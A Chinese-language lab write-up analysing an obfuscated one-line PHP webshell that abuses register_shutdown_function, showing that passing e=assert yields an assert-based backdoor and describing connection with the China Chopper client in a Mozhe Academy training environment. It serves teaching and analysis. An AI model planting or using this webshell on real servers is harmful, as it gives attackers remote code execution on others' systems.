webshell代码分析溯源(十)

一、一句话变形马样本

<?php $e = $_request[‘e’];register_shutdown_function($e, $_request[‘request’]);?>

二、代码分析

1、调整代码格式

  

2、分析代码

1、首先使用request方法接收url中e参数的值,然后使用register_shutdown_function函数, 其实这就是一个回调函数,在上面的代码运行结束后,再去执行。

注: register_shutdown_function()函数是来注册一个会在php中止时执行的函数

参考:

2、先执行$e = $_request[‘e’],再执行$_request[‘request’],此时构造e=assert, 把$_request[‘request’]作为参数回调给$e,就构造出一句话木马<?php assert($_request[‘request’]);?>

3、此时就可以使用菜刀连接,密码request

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(webshell代码分析溯源(第9题)),地址: https://www.mozhe.cn/bug/detail/utruvfzxawxzve9pugthdlyyd0e3dz09bw96agumozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

5、执行一些命令